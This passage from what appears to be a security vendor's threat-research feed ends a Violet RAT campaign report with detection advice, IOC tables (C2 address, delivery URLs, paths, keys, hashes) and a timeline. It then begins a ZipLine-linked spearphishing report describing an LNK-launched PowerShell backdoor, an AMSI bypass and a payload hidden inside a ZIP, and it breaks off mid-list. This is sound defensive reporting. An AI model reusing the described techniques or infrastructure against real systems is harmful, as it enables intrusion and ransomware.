  &lt;li&gt;Detect persistence through Startup folder shortcuts that launch &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd.exe&lt;/code&gt;, Python, or scripts from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Hunt for the staging directory &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\&lt;/code&gt; and the filenames listed in the IOC section.&lt;/li&gt;
  &lt;li&gt;Block or monitor the observed C2 endpoint and related delivery infrastructure.&lt;/li&gt;
  &lt;li&gt;Treat cloud hosted archives that contain shortcut files as high risk, especially when paired with invoice themed social engineering.&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;indicators-of-compromise&quot;&gt;Indicators of compromise&lt;/h2&gt;

&lt;h3 id=&quot;network-1&quot;&gt;Network&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 IP&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;91.219.238[.]140&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;C2 port&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7000/TCP&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Delivery URL&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hxxps://www.dropbox[.]com/scl/fi/rictefq1kw3lam7yvm8vz/Telekom_3426503572.zip&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;WebDAV delivery domain&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move-friendly-international-observed.trycloudflare[.]com&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Payload package&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;move-friendly-international-observed.trycloudflare[.]com/files.zip&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;files-and-paths&quot;&gt;Files and paths&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Delivery archive&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.zip&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;URL shortcut&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.url&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Fake PDF LNK&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Temporary batch file&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%TEMP%\r.bat&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Staging directory&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Setup log&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\setup.log&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Encrypted payload&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_encrypted.bin&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Key file&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\as_key.bin&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Loader script&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Crypto\RSA\Cache\encrypted_loader.py&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Persistence shortcut&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\CryptoLoader.lnk&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;code-level-artefacts&quot;&gt;Code-level artefacts&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Value&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;RAT mutex&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LApYAYSFOShHukHW&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Protocol delimiter&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;Violet&amp;gt;&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Internal version&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Violet v5&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;AES key basis&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XSXSXSX&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;XOR key&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TIeuNzM&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;sha256-hashes&quot;&gt;SHA256 hashes&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Filename&lt;/th&gt;
      &lt;th&gt;SHA256&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.zip&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ba21ce348f8efda5a17fe7d52c123f4a272534b848f90dd12e702410bc0266d4&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.url&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;500ce5d0604f42137795bed1a03837e9fab1055c8db0b6ea5d7c6d64c5aa633a&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;da55783ca9c4098e5ea47e33507bd38ae9851b6617b574d1fa294a6205cb143e&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oa.wsh&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e57fa4c2b241a133e349758630f3fc0b9dae8055268452d9b28c98638894ffea&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ccv.js&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0ddf4cfc3227294b849819d354479fcac848d85e881ae20014608554caf10cd9&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;final.bat&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a78b29252a7954b588392b952b970da7ddb760cec7320ac4e8a50f79a8cf8f9b&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add_to_startup.bat&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;717bb7be812fe4f57d4b7f1add1654b8a2dfb6063bd616cc26748039f247c43f&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;4a510219ffc0f5bc4acdf6e33d80d85d88155d88049cedaa00aaa9eed8051a3f&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_encrypted.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;869b721401fd595867ea3320a2709d100751f8f9d25f8a59cc28af7169325131&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_key.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0c775d9263fff22c04d75d12b0a5d1a5b73c5a787a7dcdd34fabccdf9e0a0fe5&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;files.zip&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a9ebfd647cb5930c3a19c3fd66f103c06019f43aa53b8d309d31682514a9cd60&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as.dll&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;978a54a42629e0d19ef41bd5db7e560d618e1fdcc8e77c14694642840dfad8a2&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;payload.dat&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;f79b8924f58b1e98d221dfde52c4b1572dba251bbe65cd8bd44d342d70766a88&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CryptoLoader.lnk&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;b0e033b35c17643a1d5a99b09cc43a9f0b83ab9c1ad0369f0e98f0745768ff87&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p class=&quot;space-before-md&quot;&gt;A machine-readable IOC file is available in the &lt;a href=&quot;/assets/advisories/RodentWeed_07_2026.csv&quot;&gt;Telekom Security malware analysis repository&lt;/a&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;appendix&quot;&gt;Appendix&lt;/h2&gt;

&lt;h3 id=&quot;scope-and-confidence&quot;&gt;Scope and confidence&lt;/h3&gt;

&lt;p&gt;This report is based on static analysis, sandbox execution, decrypted network traffic, and review of recovered files from the delivery infrastructure.&lt;/p&gt;

&lt;h3 id=&quot;analyzed-artifacts&quot;&gt;Analyzed artifacts&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Artefact&lt;/th&gt;
      &lt;th&gt;Type&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.zip&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Phishing delivery archive&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.url&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Windows Internet Shortcut&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Windows Shortcut&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;WebDAV share snapshot&lt;/td&gt;
      &lt;td&gt;Delivery infrastructure&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;oa.wsh&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ccv.js&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;final.bat&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;add_to_startup.bat&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Script stages&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Python shellcode injector&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_encrypted.bin&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as_key.bin&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Encrypted payload and key material&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Decompiled .NET assembly&lt;/td&gt;
      &lt;td&gt;Violet RAT v5 stub&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Date&lt;/th&gt;
      &lt;th&gt;Observation&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-10-15&lt;/td&gt;
      &lt;td&gt;LNK metadata timestamps observed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DKM_00KS0095283.PDF.lnk&lt;/code&gt;. Reliability should be treated as limited&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2026-01-20&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encrypted_loader.py&lt;/code&gt; last modified timestamp observed in recovered package&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2026-03-23&lt;/td&gt;
      &lt;td&gt;Payload and staging artefacts observed on WebDAV infrastructure&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2026-03-24&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Telekom_3426503572.url&lt;/code&gt; and ZIP delivery artefacts observed. First phishing email observed&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Early April 2026&lt;/td&gt;
      &lt;td&gt;Phishing emails became available for analysis, and deeper technical analysis of the Violet RAT v5 campaign began&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;related-reporting&quot;&gt;Related reporting&lt;/h2&gt;

&lt;p&gt;The reports below describe related tooling or overlapping tradecraft, and together they show how long this delivery pattern has been in circulation. They are useful context, not proof that every case belongs to the same actor or campaign.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Forcepoint X-Labs&lt;/strong&gt;, January 2025. Dropbox, TryCloudflare WebDAV, and Python staging delivering AsyncRAT. &lt;a href=&quot;https://www.forcepoint.com/blog/x-labs/asyncrat-reloaded-python-trycloudflare-malware&quot;&gt;forcepoint.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Deutsche Telekom CERT&lt;/strong&gt;, September 2025. Earlier public Rodent Weed reference. &lt;a href=&quot;https://x.com/DTCERT/status/1969013068374983003&quot;&gt;x.com/DTCERT&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Trend Micro&lt;/strong&gt;, January 2026. Multi-stage AsyncRAT campaign via MDR, covering Dropbox, TryCloudflare, WebDAV, embedded Python, Startup persistence, and Explorer injection. &lt;a href=&quot;https://www.trendmicro.com/en_us/research/26/a/analyzing-a-a-multi-stage-asyncrat-campaign-via-mdr.html&quot;&gt;trendmicro.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;SonicWall&lt;/strong&gt;, February 2026. Violet RAT campaign using a multi-stage Python loader and shellcode injection. &lt;a href=&quot;https://www.sonicwall.com/blog/inside-a-new-violetrat-campaign-multi-staged-delivery-and-stealthy-payload-execution&quot;&gt;sonicwall.com&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Securonix&lt;/strong&gt;, February 2026. VOID#GEIST, a Python loader with embedded runtime, encrypted RAT payloads, Startup persistence, and in-memory execution. &lt;a href=&quot;https://www.securonix.com/blog/voidgeist-stealthy-multi-stage-python-loader/&quot;&gt;securonix.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;style&gt;
.img-xs {
  width: 40%;
  max-width: 100%;
  height: auto;
  display: block;
  margin-left: auto;
  margin-right: auto;
}

.img-small {
  width: 80%;
  max-width: 100%;
  height: auto;
}

.img-large {
  width: 100%;
  max-width: 100%;
  height: auto;
}

.space-before-sm {
  margin-top: 1rem;
}

.space-before-md {
  margin-top: 2rem;
}

.space-before-lg {
  margin-top: 3rem;
}

.img-caption {
  text-align: center;
  margin-top: 0.4rem;
  font-size: 0.9rem;
  color: #666;
}

.content td:nth-child(2),
.content th:nth-child(2) {
  white-space: nowrap;
  overflow-wrap: normal;
  word-break: normal;
}

.code-caption {
    text-align: center;
    font-style: italic;
    color: #777;
    margin-top: -0.5em;
    margin-bottom: 2em;
}
&lt;/style&gt;

</content>
  </entry>
  
  <entry>
    <title>ZipLine-linked spearphishing campaign uses PowerShell backdoor and Cloudflare Tunnel</title>
    <link href="https://github.security.telekom.com/2026/06/ZipLine-linked-spearphishing-campaign.html"/>
    <id>https://github.security.telekom.com/2026/06/ZipLine-linked-spearphishing-campaign.html</id>
    <updated>2026-06-11T00:00:00+00:00</updated>
    <summary type="html">Telekom Security investigated a spearphishing campaign targeting organizations in several European countries. The campaign ultimately enables follow-on activity that, in at least one observed case, led to the deployment of Qilin ransomware. We are aware of multiple affected companies across different countries, most of them located in Austria. Not all of these organizations were encrypted, but at least one became a victim of Qilin ransomware. We assess this activity to be related to the ZipLine campaign, which was uncovered by Check Point Research in August 2025. While there are some differences in the current activity, the overall tradecraft shows multiple similarities, as described throughout this blog post.</summary>
    <content type="html">&lt;p&gt;Telekom Security investigated a spearphishing campaign targeting organizations in several European countries. The campaign ultimately enables follow-on activity that, in at least one observed case, led to the deployment of Qilin ransomware.
We are aware of multiple affected companies across different countries, most of them located in Austria. Not all of these organizations were encrypted, but at least one became a victim of Qilin ransomware.
We assess this activity to be related to the &lt;a href=&quot;https://research.checkpoint.com/2025/zipline-phishing-campaign/&quot;&gt;ZipLine campaign&lt;/a&gt;, which was uncovered by Check Point Research in August 2025. While there are some differences in the current activity, the overall tradecraft shows multiple similarities, as described throughout this blog post. &lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;For initial access, the attackers send targeted spearphishing emails containing a fake job offer and impersonating a legitimate recruiting agency. If the recipient shows interest, the attackers send a follow-up mail containing a URL that leads to the download of malware.
The delivered malware is a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.LNK&lt;/code&gt; file containing embedded PowerShell code. It installs a small PowerShell backdoor that allows the attacker to execute arbitrary commands on the affected system and stage additional payloads.
We also observed the actor using Cloudflare Tunnel to hide potentially suspicious network traffic at compromised environments.&lt;/p&gt;

&lt;h2 id=&quot;attack-description&quot;&gt;Attack description&lt;/h2&gt;

&lt;h3 id=&quot;spearphishing-emails&quot;&gt;Spearphishing emails&lt;/h3&gt;
&lt;p&gt;The actor sent well-crafted emails to a small number of recipients. The initial email did not contain any malicious attachment or link. Instead, it contained German-language text in which the sender claimed to represent a recruiting agency offered information about a potential interesting job opportunity.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zipline/Spearphising 1.png&quot; alt=&quot;Initial email with job offer&quot; class=&quot;img-small&quot; /&gt;
&lt;em&gt;Figure 1: Initial email with job offer&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The domain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alpentalent[.]at&lt;/code&gt;, used in this case, is one of several domains created by the attacker for this stage of the campaign. In addition to domains already known from earlier activity, we identified at least one additional domain associated with this campaign.&lt;/p&gt;

&lt;p&gt;If victims visited the website, they were presented with a complete website designed to resemble a legitimate recruiting agency. The second domain we observed in this campaign, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;steinersearch[.]at&lt;/code&gt;, followed the same pattern. The actor appears to reuse an HTML template with only minor variations. The page structure and most of the text are similar across domains, while the visual design differs slightly.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zipline/alpen.png&quot; alt=&quot;Alpentalent fake website&quot; class=&quot;img-small&quot; /&gt;
&lt;em&gt;Figure 2: Alpentalent fake website&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zipline/steiner.png&quot; alt=&quot;SteinerSearch fake website&quot; class=&quot;img-small&quot; /&gt;
&lt;em&gt;Figure 3: SteinerSearch fake website&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;CERT.at recently &lt;a href=&quot;https://www.cert.at/de/aktuelles/2026/5/zipline-qilin-raas-update&quot;&gt;reported&lt;/a&gt; multiple additional domains, indicating the campaign is still ongoing.&lt;/p&gt;

&lt;p&gt;Once the victim replied to the email and expressed interest in receiving more information about the job opportunity, the actor sent a follow-up message. This message attempted to trick the victim into downloading a ZIP archive from a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;herokuapp[.]com&lt;/code&gt; subdomain.&lt;/p&gt;

&lt;h3 id=&quot;backdoor&quot;&gt;Backdoor&lt;/h3&gt;
&lt;p&gt;The downloaded ZIP archive follows the naming pattern:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Dienstangebot_&amp;lt;LAST NAME&amp;gt;_&amp;lt;FIRST LETTER FIRST NAME&amp;gt;_&amp;lt;DATE&amp;gt;.zip
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Following this pattern, we leveraged third-party telemetry to identify multiple files associated with the campaign, indicating with moderate confidence that the activity most likely began in mid-March 2026.&lt;/p&gt;

&lt;p&gt;The archive contains two decoy Microsoft Word documents and a malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.LNK&lt;/code&gt; file using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.docx.lnk&lt;/code&gt; double extension. In our case, the decoy documents contained information about alleged job opportunities at the German company Rossmann.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zipline/Ross.png&quot; alt=&quot;Decoy document with job information&quot; class=&quot;img-small&quot; /&gt;
&lt;em&gt;Figure 4: “Become part of Rossmann Austria” - decoy document with job information&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Unlike the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.LNK&lt;/code&gt; file, the two Microsoft Word documents do not contain malware. They are used solely as decoys to distract the victim.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.LNK&lt;/code&gt; file executes a short but obfuscated PowerShell script. After deobfuscation, the script performs the following actions:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Searches for the original ZIP archive in these Locations:
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Downloads&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Documents&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Desktop&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;

    &lt;p&gt;If the ZIP archive does not exist in one of these locations, or if the victim saved the downloaded file elsewhere, the malware stops execution.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;Performs an AMSI bypass by replacing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AmsiUtils.ScanContent&lt;/code&gt; method pointer with a method pointer to a benign PowerShell method created solely for this purpose.&lt;/li&gt;
  &lt;li&gt;Reads the original downloaded ZIP archive as a raw file, searches for the marker string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SwbWu&lt;/code&gt;, and extracts another PowerShell snippet hidden after this marker. The archive is not parsed as a ZIP container at this stage. The hidden snippet can be viewed and extracted with a hex editor.
    &lt;ul&gt;
      &lt;li&gt;Executes the extracted PowerShell snippet.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zipline/hexedit-2.png&quot; alt=&quot;Hex view of the ZIP archive&quot; class=&quot;img-small&quot; /&gt;
&lt;em&gt;Figure 5: Hex view of the ZIP archive. The marker string and PowerShell code are highlighted.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The content hidden inside the ZIP archive is the actual backdoor. Its capabilities are limited, but sufficient for an attacker to steal data or download additional payloads, or execute follow-on malware such as ransomware.&lt;/p&gt;

&lt;p&gt;The backdoor performs the following actions:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Extracts the contents of the original ZIP archive to&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%LOCALAPPDATA%\&amp;lt;ARCHIV FILENAME&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Opens the decoy document &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROSSMANN_Kandidatenbrochure.docx&lt;/code&gt; to distract the victim.&lt;/li&gt;
